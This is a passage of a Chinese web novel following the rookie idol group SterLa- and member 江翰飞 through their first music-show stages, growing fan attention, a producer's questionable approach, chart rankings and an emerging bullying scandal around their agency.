SterLa-今天的打歌服是MV和概念照的同款主造型。不动还好，一动起来穿着毛衣的江翰飞和穿着皮衣的葛文山就开始流汗了。走过几遍，不想大出汗的几人只能先停下，等歇歇汗没了再开始，不然待会儿补妆该麻烦了。 几人又回到妆造师一起的地方，妆造师拿出随身携带的化妆小包，想先把眼妆部分先补补。刚拿出来家伙，欣怡匆匆地跑过来，说是找到休息室了。众人这才拖着几个箱子往到了休息室坐下。 休息室特别的小，五个男生挤进去，化妆师再进去就是人挤人背抵背了，随时随地跟人摩肩擦踵，服饰和道具的箱子实在放不进里面，只能又堆在了走廊。 不知道哪位暴脾气的妆造师恨恨骂了一句，“日你仙人板板哦！” 众人都装作没听到的样子，反正肯定不是在骂他们。 唐君君挂完电话，在楼梯口努力压着火气，她就是明摆着被整了。有人搭上了这台长儿子的关系，让今天首次来打歌的SterLa-直接没排休息室。更恶心的是这事儿说大不大，说小不小，一些小公司的团或者不会来事儿的新团，惹着台里的谁被这么恶整一遭不是什么新鲜事儿。但乐狮一个圈内算是有名头的公司，她带着团来却被整，打的可不就是她的脸？ 她也没那么大的能量直接找上台长，节目导演和监制都不想沾事儿，最后还是辗转好几个人托到了另一个关系户手里，给了他们一间休息室。 只是休息室本是单人用的，现在塞了五个人加造型师进去，能不挤吗？ 等回到休息室的时候，唐君君神色平静，无视休息室的拥挤，站在门口说道，“录制的顺序定了，大概下午三点半左右，排在IUE后面。” “录制的时候尽全力，把每次录制都当成最后一次机会。”唐君君眼神暗了一下又很快恢复，圈内很多经纪人喜欢把消息瞒着艺人，只告诉他们干什么，让他们照着做就行。但她唐君君不想要傀儡爱豆，没脑子的人迟早在圈内要被玩儿死，所以该说的她都会跟他们说。 “我们后面排的是人气男团，他们什么时候到场，你们什么时候下台。” 第26章 虽然上午几经波折，但下午录制还算顺利，前一个团提前结束录制。到他们上台录制的时候不过刚三点。 台上灯都开着，主持人正在串场。 念到SterLa-的时候，吴星雨打头，他们跟在后面依次上台。 在台上踩实了，江翰飞脑子才反应过来这下是真的对着一群陌生的粉丝了。台边的高功率射灯特别的亮，晃得他头晕眼花，呼吸急促。 跟公司考核不一样，考核发挥不好，顶多自己在考核结果里多个不如意的评级；在这儿出现差错，收到的就会是台下观众的嘘声。 于是他从台边候场开始就活蹦乱跳的心脏蹦跶得更厉害了，那跳动的气势堪比孙悟空被压在五指山下被放出来时那冲天一跳，想上天。 台上的主持人很专业，让他们做了自我介绍，又问了几个问题。 “那作为新人男团，这是你们的第一个打歌舞台，心情是什么样的呢？”女主持人笑盈盈地问道。 这是一个写进了教科书的模范问题。 吴星雨见江翰飞一直没过说话，就把话筒递了过去，示意江翰飞来回答。 “像孙悟空一样。”江翰飞没想到会让自己回答，手里被塞进话筒脑子一抽直接脱口而出。说完才发现空气好像安静了，只有自己刚刚回答的声音还有一点回声，这才反应过来自己刚刚说了什么。 江翰飞脑子瞬间过载，在他快二十年的人生里没有遇到过这种情况！ 喉咙紧张的滚动两次，手下意识用力捏着话筒，求助地看向吴星雨地问道，“队长，这段可以剪掉吗” 说完发现自己好像还举着麦克风，声音回荡在这个录制厅里。 江翰飞： 不是，这个世界能时间倒流吗？ 或者系统你在吗？任务我是完不成了，要不你现在把我抹杀了吧！ “哈哈哈哈哈哈！”台下的粉丝乐不可支，笑倒了一片。提前录制的台下粉丝都实打实的。他们后面排的是一个人气男团，台下的粉丝不少都是人气男团的粉丝。刚刚见他们上来打招呼，还特别善意的挥了挥手里的应援棒，现在都笑得不行。 “哎哟笑死我了，怎么能这么可爱啊！叫什么名字啊？” “江翰飞吧，刚刚上台自我介绍的时候是这么说的。” “可爱的新人美，别紧张啊！” 女主持人刚刚也忍不住拿手卡挡着笑了一会儿，见江翰飞脸和脖子都涨红了，忙出来救场，“剪掉是不能剪了，但是SterLa-可以用实力舞台来帮助大家遗忘哦。” “下面就请欣赏我们新人男团SterLa-带来的专辑同名主打曲《钢铁丛林》吧！” 主持人说完笑着退场。 舞台上的灯光熄灭，刚刚喧闹的录制厅内一下子变得安静，只听见机器运转的电流音。 江翰飞摆好开场姿势，手指狠狠掐了几下手心，用痛觉帮助集中精神，摒弃刚刚社死的记忆。 “咔嚓咔嚓——”前奏响起。 几人也像是机器人一样来回走动，似乎身处一条热闹的街道。缓缓的，所有人顿立在原地，开头就是于立果的声音：低沉，平和，甚至好似带了点沮丧的嗓音流淌出来。微微沙哑音色的颗粒感像按摩器上凸出的颗粒，按摩着你的听觉神经，在这个封闭的演播大厅里来回晃荡。 “哇，这音色妥妥低音炮，好帅！” “他们开麦了诶！新人男团首场就敢开麦，勇气可嘉。” “嘘——” 伴着于立果的声音和音乐节奏，他们的舞蹈好像又变得失落和沮丧，手向前抓去，又仿佛突然失去了力气，想奔跑，又挣不开锁着的链条。最终无奈的在原地失落徘徊。 不等心情跟着坠落到更低，突然一个变调进入了主歌的第二部 分，编曲多加了一轨笛子，失真的音质仿佛是远处传来的恶魔低语。吴星雨走向最前面似乎是被引诱了，想往恶魔的方向走去，但被身后的兄弟抓住了身体。他回头看着自己的兄弟，已经被恶魔蛊惑的他眼里兄弟已经不再是兄弟，双方你来我往。 在葛文山的Rap段切入后，朦胧的笛子消失，取而代之的是节奏由慢到快的低沉鼓点，仿佛是在跟刚刚的恶魔低语对峙，又在呼唤着被恶魔蛊惑的兄弟醒来。葛文山站在舞台最前面，一个个字像是子弹，带着饱满的情绪和冲冠的爆发力，对着现场观众们射击。 紧接着急促的鼓点接上了这段Rap正式进入副歌部分。江翰飞的声音随之滑行进来，松弛的两句过渡Rap的强节奏，仿佛暴风雨前的蓄力。众人的舞蹈也转变为江翰飞站C的齐舞，倒V字形排开，像是摧枯拉朽的暴风雨，用强劲气势将敌人一扫而空。 副歌结束，进入Dance Break，吴星雨走位站到中间领着大家。急促的鼓点敲打着人们的耳膜，让人心跳加快，血液流速上升，进入亢奋的状态。 战斗还在继续，不等他们欢庆成功，新的恶魔一个个接踵而至。但是五人仿佛是一堵墙，只要有他们在，恶魔无法靠近人类分毫。 最终，天亮了，只能出没在夜里的恶魔褪去。 起床的人伸了伸懒腰，感慨昨晚又是一个平安夜。 一曲终结，空气有2秒是凝滞的，只能听见台上五个人粗重的喘息声，台下的观众们沉浸在结束前的那一段激烈舞蹈里没回过神来。 直到导播的声音传来，“SterLa-，整理一下，五分钟之后录制第二次。” 台下的粉丝这才回过神来，为他们刚刚的表演献上热烈的掌声和欢呼声。 他们表演很开心，台下的观众们也很开心，两边相互看着一起笑，热烈的氛围让平时不怎么有表情的葛文山和江翰飞也都一直挂着笑。听导演又催了一次场，几人赶紧向台下鞠个躬，然后被等候已久的造型师姐姐们拉到候场台边上抓紧时间擦汗补妆了。 造型师拿着粉饼给江翰飞补妆。江翰飞闭着眼睛，喘着的气还带着刚刚的热烈，太阳穴跳得很快，脑子还在兴奋着回放刚刚在台上的身影和台下的欢呼。 舞台上表演的感觉他难以形容。 舞台以外是黑暗的，黑到看不清台下人的脸。舞台上却是明亮的，大射灯尽职尽责的关照到他身上每一个地方，头顶的聚光灯跟随着他的动作，彩色的霓虹灯跟着节奏跳动，台下应援棒的光在使劲儿摇晃，所有的光都聚焦在台上。 太亮了，他心想，亮得他眼睛都快晕了，脑子都快因为兴奋缺氧了。 原来，有观众的舞台是这样的感觉吗？ 和练习室的感觉完全不一样，在台上被所有人注视着，他什么也不能思考，脑子发白，但身体和表情自然而然的知道下一个动作，又逼出胸腔里的最后一口气，竭尽全力的做每一个动作，连伸展的指尖都紧绷着，想要被所有光眷顾。 这种感觉 他好喜欢。 出场的尴尬早已被他抛到脑后。他知道自己现在心跳特别的快。 自己现在一定连耳朵都是热的吧？ 他能感受到那股热量从头到脚，到他身体的每一个微小的部分都沉浸其中。 就算心跳的快又怎么样，他不想再去安抚自己的心跳，就让它激动吧。 “SterLa-，准备录制第二场。”导演的声音传来。 化妆师也补完了妆，“翰飞，可以了，快去吧。” 江翰飞睁开眼睛，其他成员已经起身往舞台中间走去。江翰飞盯着他们的背影两秒，转过头跟化妆师道谢，翻起身，追着他们去到舞台中间。 “3 2 1，开始！” 周围的灯光再次暗了下去，舞台的光亮起。江翰飞什么也不去想，他只想跟着震动的音乐舞动，高歌，让自己尽情的在台上释放。 一台摇臂摄像头缓缓滑过来。 这是他的特写镜头，江翰飞看着摄像头，露出一个从未有过的放肆的笑。 台下的朱朱怔怔地望着台上，下意识地放下手里的摄像机。 她刚刚在取景器里看见了什么？ 直到二次录制结束，朱朱都还没回过神来。录制厅的灯已经打开了。 “朱朱？朱朱？！”旁边柯苗小幅度拽着朱朱的手臂喊她回神。 怎么愣着不动呢？灯亮了啊，赶紧把摄像机藏起来，不然等着被收内存卡吗！？ 朱朱如梦初醒回过神，下意识低头想去看刚刚抓到的那个镜头，又被柯苗拦住了。 她才发现录制已经结束了，场内的灯已经打开了！立即把自己的摄像机往宽松的卫衣里反手一塞，藏得严严实实。 可千万不能被收了内存卡，里面还有好多图！ SterLa-没有录制第三次，人气男团提前到了场。录制完第二次补妆补了一半台里的场务小姐姐就过来告诉他们录制结束了。 快七点半时，大家都回到了台上等待着第一名的颁奖，电视台和网络频道也切换为直播，短信投票通道已经关闭，后台正在计算实时投票分数。 ICS的打歌节目会在关闭实时投票通道后根据总分公布三个冠军候补，最后宣布获得第一名的团，第一名的团会得到一个冠军奖杯以及退场时的专属打歌安可时间。 10月回归大战的第二周，这次公布的三个候补名额就已经是神仙打架了：一个超强实力的女solo和两个人气男团。最后超强实力的女solo以断层的音源分拉开了总分差距获得了第一名。 江翰飞他们几个新人站在最后面跟着鼓掌。新人连最后谢幕都站不到前排。 他们旁边就是K家的新团IUE和安阳娱乐的新团KtM。三个不同公司推出的新男团站的泾渭分明，谁也不想沾着谁。 三团手拉手，谁先爆谁是狗。 第一名已经开始安可，其他所有打歌的团依次退场，整场录制结束。 江翰飞他们的妆造师和工作人员早已收拾好了东西等在车上。休息室太小，待会儿还得开会，几人一出来就直接上车回了公司，到公司再卸妆。 这让想过来接下班路的朱朱和柯苗扑了个空。 沮丧不过两秒，朱朱想到自己内存卡里的图又兴奋起来，草草跟柯苗道别，打车飞奔回家。 电脑，P图，我来啦！ 第27章 五人卸完妆，做个简单的护理就去了会议室。 在坐的是今天参与了首次打歌舞台的所有人以及在早上在公司和营销部开会没去的执行经纪人。 “第一次打歌，说说自己的问题吧。”唐君君坐在最前面，没有寒暄，迅速切入主题。 “早上在入口打招呼的方式不对，还有遇到休息室的问题，没有及时调整心态”从吴星雨开始，一个个反省着今天没做好的地方。 “第一次录制的时候说错话。两个特写镜头没有抓好，中间齐舞部分有个动作抢拍了。”江翰飞回忆完毕。现在兴奋劲儿退下来，脑子里还是记不起第二次录制的舞台上自己干了什么，只有第一次录制说错话的尴尬和中间的抢拍勉强能回忆起来。 唐君君看向江翰飞，眼里神色不明。从他们上台开始，她就一直站在导播室里，他们什么表现，她再清楚不过。 “问题都知道那就自己抓紧时间改正。录制舞台的视频还没有发送过来，晚点发过来了我发群里你们自己看，对比一下最终播出的剪辑版本以及和你们同期打歌其他团体的放送视频。” 让看这么多是有原因的。 录制视频是舞台正中间的单机位视频，放送版本是多机位混剪的版本，对比之后才能知道哪些镜头自己做的是什么样子，出来的效果是什么样以及导播和观众喜欢什么动作和表情。 至于同期打歌的团体，主要是人气男团和同期对狙的几个新男团，无非也是为了研究舞台表现。 会议结束的很快。在快结束的时候，唐君君也对早上的休息室事件进行自我反思，她没说原因和做了什么，只说下次会提前规避，不会再遇到这种情况。听到她说抱歉的时候，众人都没反应过来，但反应过来后反而对她更服气了。 五人组回宿舍后又聚在客厅的沙发上开着小会。 出人意料的是葛文山一坐下，没先说今天的打歌，“我们的首日音源排在第135名。” 江翰飞也正在看跃音APP里的收听排行。跃音是国内最大的音乐平台，新手机一件装机的推荐软件。用户量对比同类音乐软件属于独占鳌头，不仅国内大部分打歌节目都会以跃音榜单作为音源分的来源，此外跃音每年都还会举办年末音乐颁奖典礼。这个颁奖典礼里的奖就没有水的，谁家要是拿到了这个奖，属于出去控评百分百都会带上的程度。 所以几乎所有的偶像和歌手都会选择在跃音上首发作品。 江翰飞关注过另外两个男团的音乐情况，”我记得IUE出道曲的排名是79，KtM的出道曲排名是137。” “没进日榜Top 100啊”禹安坐在一边托着下巴说道，“他们现在多少啊？” “一个82一个132。”葛文山在一边立马报出来，显然刚刚也特意有去看这两个团的成绩。 “大家别灰心呀，我们才第一天打歌嘛！”于立果笑笑，“我看他们的走势曲线打歌之后都有上升，KtM已经是第二天了，第一天还不如我们呢。” “阿果说的对。”吴星雨见几人都有点沮丧的样子忙安慰道，“第一天我们粉丝少很正常吗，打歌结束回来的路上我看了咱们官号的粉丝数，涨了小两千呢！” “后天在Music Crossing的第二次打歌咱们好好吸取这次的教训，明天没有安排，我们去练习室把今天的问题解决掉！” “那我们明天早上8点一起去练习室？” “行。” “没问题。” 正好今天的录制视频发在了群里，大家各找地方研究去了。今天晚上找出问题，明天早上就能直接开练。 这边的富婆朱朱也兴奋得没能睡觉，电脑屏幕发着幽幽的光，映在她兴奋的瞳孔里。 “呜呜呜，这张怎么这么可爱啊，我的宝宝！” “宝宝宝宝！” “我的天，好帅好帅。” “老公！” 她一边修图，一边叽里咕噜叫着各种称呼。 电脑里有几张是团体的，大部分都是江翰飞的，里面有江翰飞微笑的样子，眼神凶狠的样子，连闭着眼睛等着妆造师补妆的样子都有。 等外面泛起鱼肚白，她才搞定所有的修图大工程。伸个懒腰都能听到骨头噼里啪啦的响声。 挂着两个黑眼圈，朱朱在入睡之前登上自己的社交账号@爱追星的朱朱呀，发了一条预告：下午三点，都来欣赏我的新老公。 换做以往，她喜欢的发了就发了，但是这次朱朱决定做个小小的策划，先预告一波等人知道的差不多了再发，这样数据更集中一些。 发完预告就再也支撑不住一头栽倒床上会周公去了。 而社交账号上关注她的各路粉丝已经热闹起来了。她的账号本来粉丝就多，还都是真粉丝，按她体量早可以接推广了，只是她看不起那点钱。也因为大家知道她有钱不会做推广而格外喜欢在这个账号下互动，每次她发的墙头都能带起一波流量关注。 “是谁能让我们的朱朱姐专门为他发一条预告？” “朱朱姐又要新老公了吗？传说中的魅力爱豆某乐连一周都没有坚持到吗？想到某些粉丝话术笑出声哈哈哈哈哈” “卧槽你快删了吧，朱朱看到会拉黑你的。” “不是都不粉了吗还拉黑我？” “因为她说前男友就应该跟尸体一样躺好，连名字也不要再出现在她眼前” “这个理由牛逼，我接受，马上删。” “看你们回复，我真的好在意是谁让她专门发预告” “朱朱爱追新团吧？最近新出的团有点多啊。一下子不好猜了。” “押宝IUE，新团里就他们反响最好。” “我押SterLa-，刚好他们昨天第一场打歌。” “也不一定是新团吧，也没说新团呢。” 下午三点前朱朱睡醒，第一件事儿就是先打开自己的账号，满意的看着下上一条妙博下面的评论，挑了其中几个回复。看看时间差不多了，直接将提前编辑好的博文发了出去。 @爱追星的朱朱呀：请欣赏我的新老公1013 ICS首场打歌[图][图]。 PS：今天开始这个账号正式更名为Fly-Sterne，是新老公@SterLa- 江翰飞的站子号啦，又帅又可爱的阿飞欢迎大家入坑哦！！！！！！！ 一石激起千层浪。本来不少爱看热闹的粉丝就在蹲这个预告，上一秒刷新出来新博文看了一遍以为自己看错了，再看一遍。没看错啊！确实是说这号成某个人的个人站子号了！！ 不敢相信的再刷新一下，账号名@爱追星的朱朱呀已经变成了@Fly-Sterne。 博文区的评论正在飞速上涨，朱朱却有点不高兴了。干嘛都关注她改名啊，不是应该关注她的新老公吗？这么帅的图不填舔屏？ 粉丝和路人从震惊里回过神来，开始认真细看两张图。好奇到底是什么能让万花丛中过，片叶不沾身的花心富婆成为他的专属站姐，还把账号名都改了。 两张图拍的确实很好，第一张图上江翰飞是舞蹈的抓拍，他穿着高领黑色毛衣，左手直直向外伸展，右手握拳举起，带着锁骨轮廓坚硬而突出，头微微低垂，眉峰如刀，眼神锐利地直直看着镜头。标准的攻击准备形态让看的人不由得先被他眼神一惊，回过味儿又想仔细再看看他的眼睛。 第二张图是打歌之前的采访环节，舞台周边的灯都还亮着，江翰飞双手拿着话筒举在胸前，好像被什么给震惊到了，眼睛睁大，嘴巴微抿着，露出左边唇边一个不太显眼的酒窝。明明也穿着黑色高领毛衣，但却给人一种清澈愚蠢男大的呆萌感。 两张图的反差冲击的人一时间反应不过来，反复左右滑动图片对比，看看到底是不是一个人。 一众感叹号、激动Emoji和省略号后，朱朱终于看到评论区开始刷出她想看的评论： “别说，这个是真帅！感觉第一张图那个拳头垂下来能让我原地去世，眼神超有攻击性！和第二张看起来有点呆的图真的是同一个人吗[笑哭]” “男大，是我想要的男大！这种男大让我来！” “两张的温度差好高，第一张是我盐系酷帅老公，第二张是我可爱呆萌儿子。已坑平！” 朱朱满意点点头，这才是她想看的评论嘛！赶紧点赞顶上去。 江翰飞的粉丝自称小蝴蝶，有人在超话和粉群里发了朱朱博文截图，一大群小蝴蝶纷纷赶来给这条博文下夸奖朱朱拍的人好看图好看。 粉丝们都为自家爱豆有第一个站子开心撒花，也为自家爱豆竟然能让粉圈内都小有名气的账号所有人为他改了名字成为专属站姐而得意。 这说明什么，说明自己爱豆魅力大啊！能圈到这种站姐！ 而且是爱追行程爱发图的富婆站姐诶！他们以后岂不是有很多现场图可以看了！ 以后就可以姐姐贴贴，饿饿，图图了！ 博文热度持续增加，来了更多看热闹的。 “君君姐，我们要给这条博文加热吗？”公司的营销部有专人看着实时，很快就发现了这条博文，赶紧向上汇报。 “加！”唐君君刷着这条博文下的评论，回复简洁明了。 “好嘞！”很快，乐狮营销部自己养的和合作的一些营销号纷纷开始转载，搬运这条博文，词条#江翰飞站子很快窜了上去。 就此，Fly站姐正式奠定开荒大功臣的地位，凭一己之力，让江翰飞在出道第三天，首场打歌的第二天上了他的第一个热搜。 此时还在练习室里和队友们抠细节的江翰飞对此一无所知。 第28章 “哈哈哈哈哈哈哈，不行了，笑死我了！”于立果在休息室的沙发上笑得抬不起头来。 旁边的吴星雨和禹安稍微善良一点，撇过头去憋笑。 连葛文山的眼角都弯了。 江翰飞想起十几分钟之前，耳根的热一直退不下去。 十几分钟之前，他们刚到MCr的入口，门口也站着一圈粉丝。五人早在来的车上就互相做好了心理准备，他们才出道一两天，虽然有粉丝也不太可能在工作日大老远跑来看他们录制，更不可能大早上的就来等着他们，但是待会儿进去的路上也要注意礼貌。 做好的心里铺垫在江翰飞下车的一瞬间被撕了个粉碎。他脚刚踩着地面抬起头，就被声嘶力竭的男声震惊了：“江翰飞，小蝴蝶永远喜欢你，支持你！！！” 仿佛刚刚他踩得不是地面而是什么高压线，他浑身僵硬，脸和脖子倏然变红，不过两秒，连耳廓也一起红了。 脑子里打好的草稿，做好的准备像浮云，被这一阵狂风给卷走了，留个空空的脑子给他，让他连手脚都不知道往哪儿放才好。 直到吴星雨过来拉着他，他才跟着吴星雨他们走了过去。 走近后，几个女孩子的声音又响起来：“江翰飞回神啦！今天打歌加油哦！” “我们的阿飞加油！今天会去看你打歌的！” “江江宝别紧张啊，打歌加油！” 江翰飞脑子终于回来了，听着几个女孩子对他殷殷切切的关心和鼓励，怔愣的表情褪不下去，但仍记得说过要礼貌，不由自主地回复着：“谢谢。” 几个女孩子瞬间开心起来，又围着他叽叽喳喳说了好几句给他加油鼓劲儿的话。 江翰飞没有觉得不耐烦，反而有一种很神奇的感觉，他一时半会儿很难理清楚。眼角瞥见队友已经在那儿站着等他了，连忙和几个女孩子说道，“抱歉，我得先过去了。” 说着又指了指门口站着的队友们。 几个女孩子笑得更加满足，竟然显出几分慈祥来，“快去快去，加油加油！” 江翰飞匆匆跟他们挥手示意，快到门口时又见最开始一嗓子把他吼得魂不着地的男人，又朝着那个方向大力挥挥手，大声喊道，“也谢谢你！” 说完几步跑到队友身边，转身进去了。 再然后，从进到休息室，于立果就开始狂笑到现在。本来已经消退下去的尴尬感和脸上的红晕又在众人的调笑中再次回归。 江翰飞忍不住捏紧了沙发边缘，耳朵都红透了，但是心里又隐隐有着开心。 还来不及细细品味，唐君君就从门外进来，刚刚笑得夸张的于立果乖巧收声，其他几人也清清喉咙，正色起来。 “好好准备第二场打歌。今天打歌时间还没定，随时等通知。”唐君君抱着胸，往旁边让了一步，身后是提着东西的小助理把饮料和食物放在化妆台上。分来的杯子和食品包装袋上也贴着小贴纸：祝SterLa-二次打歌顺顺利利！ 这次没人作梗，他们分到了该有的休息室。吃完早餐，妆造师们就把他们赶到镜子前坐着，忙忙碌碌的整理起他们的头发和因为吃东西蹭到的妆容，生怕万一他们就是第一个录制。 补完妆，跟来的工作人员们刷着手机，等着不知道什么时候会来的录制通知，几个成员聚在休息室清出来的后半截，小幅度的复习着，出道专的主打曲他们已经练了无数遍了，用禹安的话来说就是闭着眼都能跳和走位。 过了两个小时，眼瞅着到了吃午饭的点儿还轮上他们，负责餐食的工作人员和欣怡已经将今天订的盒饭带进来了。除了他们五个，其余人吃的都很香。他们五个也不是觉得不好吃，只是已经习惯了吃饭细嚼慢咽。作为爱豆保持身材管理是他们的职业需要，发胖了上镜可就丑了，还会被职责没有“豆德”。 吃完饭，江翰飞去卫生间顺手扔掉大家的饭盒垃圾。回去路上刚转过一个拐角，突然愤怒的一道声音从楼道传来：“我就是气不过！” 刚刚还硬气的声音带上了隐隐的哭腔，“不就是看我们公司小，我们又没名气，才敢这样排挤我们吗？” “阿泽，你也明白。这是没办法的事。”另一道稍显成熟的男声低哑，“如果不是姚哥帮我们跟公司争取，我们连这次回归都没有，而且这MCr的打歌机会也是姚哥到处托关系，欠了不少人情才把我们送进来的。” “今天打歌为了姚哥也不能出问题。”说到最后，江翰飞觉得他的声音里带着些咬牙切齿。 “我知道哥，不就是一顿饭吗，我不是怕，诶我不是怕饿我，我就是还有陶哥他们几个”年轻男生的话被抽噎冲得断断续续。 江翰飞没继续听下去，轻手轻脚离开了这里，快速跑回自己的休息室，他记得来的时禹安塞了好几块巧克力给他。摸到巧克力揣进兜里，又看到桌上的还没动过的几个袋子。 欣怡跟着唐君君好一段时间了，做什么事儿都喜欢留出一些余地，备餐盒时为了避免有什么意外，一直会多订几份。 江翰飞提起袋子急急地朝众人问到，“大家还有需要这几份盒饭的吗？” 众人不明所以地摇摇头，就见江翰飞兔子似的提着盒饭跑没影了。 江翰飞的速度很快，跑回来的时候楼道里的成熟男生还在鼓励年轻一些的男生。 江翰飞提着两个袋子从消防门后露出个头来，两个男生坐在阶梯转角的地方，一个在擦眼泪一个在安慰地拍拍背。 “那个，你们好？”江翰飞出声，“呃，我刚刚不小心听到几句你们的事情，我这儿有几分没动过的盒饭，是我们订多的，有需要的话你们要不先吃这个？” “啊？”年轻的男生泪眼朦胧地望过来。 “呃，就是我不小心听到你们说吃饭的问题那个”江翰飞这才想起似乎以前报道过很多什么食物投毒案，泻药事件什么的。刚刚自己心急没想起来，好像爱豆是不会接受陌生人的东西，尤其是食物 这下尴尬了。江翰飞想到。 结果年轻的男孩子几步跑上来，“真的是请我们吃吗？” “呃，是的，不过你们要是不想接受也没事的，是我没考虑周全。” 成熟点的男生也上来站在旁边，年轻男生眼神询问过去，成熟的男生点点头，转而跟江翰飞说到，“非常感谢你，我们确实需要。不过第一次见面就请客不太好，我们跟你买吧？方便加个微信吗？” 就这样，江翰飞加了年轻男生的微信，对方给他转了饭钱，又道了谢。临分别时江翰飞想起兜里的巧克力，也一股脑塞进袋子里。跑回来的路上还不小心撞到个人。 把收的饭钱转给欣怡，又找着空闲跟欣怡说了下具体的情况，也是担心有什么问题提前报备一下。倒是欣怡听到了对方的名字就叹了口气，一副了然的样子。 江翰飞也没多想，报备完又专心的准备起今天的舞台。 还算幸运的是有了首秀的经验，今天的采访环节和表演环节都非常顺利。 期间补妆的时候，他看到了早上跟他说话的那几个女生晃动着写着他名字的手幅，心里突然像是冬天冻僵了的手放进热水里被热水咬了似的一阵酥麻，不由得抬起手跟她们一样晃晃。 几个女孩子一下子开心得蹦蹦跳跳。 他也跟着笑成了月牙，完整地露出了唇边的酒窝。 娇娇放下偷偷举起来的摄像机，脸上也跟着露出幸福的笑容：啊啊啊，拍到了拍到了！我的阿飞真的好可爱啊呜呜呜呜！ 录制顺利，他们录了两边导播室就传来说下一组。五人给在场的观众鞠个躬退场。 导播室内的监制这时候也打开门走了出去，“你们先继续，我去放个水。” 众人低头不语，假装没听见。只导演斜睨他一样，发出一声不屑的嗤笑，转而对眼前的话筒大声吼道： “下一组！” 监制晃晃悠悠转去了一道出口等在那儿，这个口是爱豆下场回休息室片区的必经之路，他早就摸透了，熟得很。 江翰飞和队友们聊着天，讨论着今天舞台的发挥。 “小江啊？” 江翰飞顿住脚步，疑惑地望过去。这是在叫他吗？ 对方约莫四十多岁，矮个子，背着手，腆着个大肚子，一副领导的样子。 “您是？”江翰飞不认识对方。 对方在所有人脸上转了一圈，“我有点事儿想单独跟小江谈一下，你们要不先走？” 几人看向吴星雨，他开口说到，“好的，那阿飞我们在前面点等你。” 说着吴星雨带着其他几个人往前走了十来米，停在那儿看着这边。 王监制本来以为对方识相，干脆的带着其他人走了，没想到就走了个十来米就不动了。这会儿大声让他们走远点也不太好。见江翰飞面上带着疑惑但仍旧乖乖的看着自己，心里满足感顿升，从敞着的西装内侧口袋里摸出一张名片递过去，“我是台里的监制，叫我王监制就行。我也没别的意思，主要想认识一下你。” “回去可以加我名片上的联系方式。” 说完，王监制又慢悠悠地晃回了演播主控室。 江翰飞看着名片眼神微暗。他又不是傻子，这王监制话里有话太明显了。 捏紧手里的名片，本想直接扔掉，转念一想又塞回包里。 当天，这张名片就到了唐君君手里，“你做的很好，以后见着他离远一点，再去MCr录制不要一个人出去了。” “这个老东西我来处理。” 第29章 第一周打歌很快结束，经过打歌，他们的音源排行终于从135名上升到了102名，差一点点就可以进入Top100的榜单了。 这里的Top100不是历史累计，只是按照前一天下午六点到第二天下午六点期间的收听人数，次数，收藏人数等各种参数加权综合后得出的一个排名，所有参数权重里收听人数是最重要的，只要其他参数差距不是特别大，几乎不太会影响到榜单整体排名。 作为一个新人男团，排名进不了Top100是正常的，大部分男团出道的出道曲都在200-500徘徊，进入Top200了说明这歌和营销宣传还不错，能真正判定第一次回归效果的，回归期的音源成绩，销量成绩占一半，下次回归的音源和销量成绩占一半。 只是K家作为圈内的顶级公司，还一向给粉丝们会选曲的印象，于是每次只有K家的出道男团能在好的出道曲+好的出道营销双重作用下成为进入Top100的新人男团。 安阳娱乐的新团KtM在上升到130左右后也露出疲态，第一周的打歌周还没结束，音源成绩就开始每天逐步递减。 刚好和递增的SterLa-形成对比，在粉圈内被嘲，拿着数据被SterLa-和IUE的粉丝压着打。当然IUE作为音乐成绩最好的，嘲讽的时候是一打二，平等的嘲讽SterLa-和KtM。 本就不太和平的三家粉丝就此结下梁子。 而圈内人气前辈们的粉丝则睥睨江湖，笑着点评：菜鸡互啄。 现在SterLa- 还差一点点就能成为第二个出道即入Top100的男团，公司和成员们都不愿意放弃这个机会。 在打歌期的空档放了不少物料给粉丝们，比如之前藏着没放出去的其他概念照，以及出道当天录制的出道专Reaction。 “噗——这充满了新人美的尴尬开头。” “吴星雨眼里的慌乱都要溢出来了，后面江翰飞回答的时候用的还是问句，十秒钟，让我笑得躺在床上打滚。” “我只代替他们尴尬哈哈哈哈。” “我就敢说，全程就于老师冷静控场。” “哈哈哈哈笑死我了，你团看到队长的第一眼居然也是看腹肌！” “谁不是呢，腹肌和马甲线平等的勾引我。” “W我去！别误会，我不是想说卧槽，我是想说我去！” “哈哈哈楼上你也没放过他。” “我作证，当时看到那一眼也是脱口而出一句卧槽！” “谁懂，我一个只看剧的因为某位up主做MV分析入坑了这个团，当时把我踹进去的就是这个眼神，冷漠，疏离。天地之下，我就是你的狗，我的主人汪汪汪！” “楼上你算了，汪汪汪。” “不是，就我一个妈粉吗？[截图]我儿子都害羞得手指蜷缩了，你们还在笑。” “细节啊，不仅手指蜷缩了，耳尖是不是也红了？救命，江翰飞原来是这种角色吗？” “美颜两连击，禹安宝宝脸在江山在，这脸比建模还精致。” “这个团没有丑人也没有废物，真的很心水了，是我喜欢的样子。” “禹安不仅脸好哦，他还会创作，之前他的资料出来的时候写的是Rap和创作。” “于老师扎小辫挺有感觉的，一种介于放荡不羁的黑客和浪子之间feel。” “我也觉得，他的声音就很有故事感，配上小辫真是绝了。” “葛文山也是啊，他是颓废感特别明显，我真的很吃他的颜，而且身材巨好！192的大长腿！” “内部消息，听说当初组这个团还特意筛选了身高，因为葛文山实在太高了，矮太多不好站队形了。” “合理怀疑你在内涵我门面大人。” “哈哈哈哈哈哈” Reaction释出当天，本该在周末下降的音源逆行了，成功进入了Top100，排在99，还带着专辑销量上涨，形势大好。 而另一边，一场交易也完成了。 “只要你站出来说清楚这件事，不用担心签下的保密协议和赔偿，我们会为你支付的。”电话里一头的声音失真，“钱还是之前谈好的30万，只要你能保证你说的是真话。” “我说的是真的，我有录音和视频。”电话这头的男生捏紧了手机，手指骨结发白。 “很好，发个账户给我，我先给你汇款30%，你把证据发过来，我再给你30%，等你做完这件事，剩下的40%一起给你。” “没、没问题。”男生按着发疼的肋骨，颤着声音答道。 我没办法了，实在没办法了。 第二天晚上九点，一个热搜从天而降：#乐狮娱乐霸凌。 点进词条最热的博文是一条视频，一个自称是乐狮娱乐练习生的男生拿着身份证和乐狮娱乐的练习生身份卡，说乐狮练习生对他进行精神和身体上的霸凌，已经严重侵害了他的身心健康。他早就想退出，但无奈的是自己主动退出公司需要赔偿公司的一定的金额，他现在拿不出这笔钱，所以一直无法逃脱。现在对方的霸凌行为也来越严重，宿舍的成员也会在他回宿舍后恶意排挤他，导致他不得不站出来寻求帮助并向乐狮进行举报。 “乐狮？不就是大热组合Hitting的公司吗？” “是的，但和我们Hitting没关系哈。Hitting都出道好几年了，他才去乐狮一年，抱走我Hitting。” 